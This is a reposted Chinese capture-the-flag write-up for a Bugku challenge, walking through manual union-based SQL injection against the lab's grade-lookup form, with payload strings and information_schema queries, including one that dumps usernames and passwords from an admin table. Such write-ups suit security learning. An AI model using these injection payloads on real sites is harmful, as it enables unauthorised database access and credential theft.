Bugku-CTF之成績單(快來查查成績吧)


Day18

成績單

快來查查成績吧
http://123.206.87.240:8002/chengjidan/

本題要點:sql手注、查詢基礎命令

 

首先查看一下源碼
 
 
沒什么有用的信息
 
看到表單類型,我們應該想到sql注入
 
 
 
先對它進行一個判斷
1.先測試正常數據,用火狐的hackbar插件post請求,一切正常 
 
 
 
 
2.加上單引號’則數據為空,但是再加上注釋符#就又正常了 
 
 
3. 然后嘗試獲取列數,因為已經有名字和三科成績了,所以就測試4或者更高,得知是4列 
因為構造id=1' order by 5#時,沒有正常回顯,id=1' order by 4#時,正常回顯,所以判斷有4列。
 
 
 
4.嘗試聯合查詢,記得把前面的查詢數據置空,寫成id=0即可,顯示正常,說明確確實實存在這四列數據 
 
 
對於剛接觸sql注入的初學者來說,大家可以多試幾次,比如將id分別換成1,2,3 .....
 
我們可以看到當id=4的時候,頁面就和當id=0的時候回顯一樣了
 
 
5.下面我們開始猜解數據庫名, 數據庫的用戶,數據庫的版本(沒有順序,把1留出來只是因為表單看起來順眼而已....)
 
 
 
6.根據數據庫skctf_flag去查詢表名
id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version()#
 
這是一個固定格式~
 
 
 
 

注意,這里穿插一個知識點!!!!!!

union select 手工注入

mysql中的information_schema 結構用來存儲數據庫系統信息 
information_schema 結構中這幾個表存儲的信息,在注射中可以用到的幾個表。  
 
SCHEMATA 存儲數據庫名的, 
關鍵字段:SCHEMA_NAME,表示數據庫名稱 
TABLES 存儲表名的 
關鍵字段:TABLE_SCHEMA表示表所屬的數據庫名稱; 
TABLE_NAME表示表的名稱 
COLUMNS 存儲字段名的 
關鍵字段:TABLE_SCHEMA表示表所屬的數據庫名稱; 
TABLE_NAME表示所屬的表的名稱 
COLUMN_NAME表示字段名 
 
 
爆所有數據名 
select group_concat(SCHEMA_NAME) from information_schema.schemata 
得到當前庫的所有表 
select group_concat(table_name) from information_schema.tables where table_schema=database() 
得到表中的字段名 將敏感的表進行16進制編碼adminuser=0x61646D696E75736572 
select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572 
得到字段具體的值     select group_concat(username,0x3a,password) from adminuser

補充結束

 
 
7.然后根據fl4g表去查詢列名 
 
 
得到字段skctf_flag,即為列名
 
8.這樣我們拿到 列名 之后直接去獲取數據
 
 
 
 
 
完成!

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM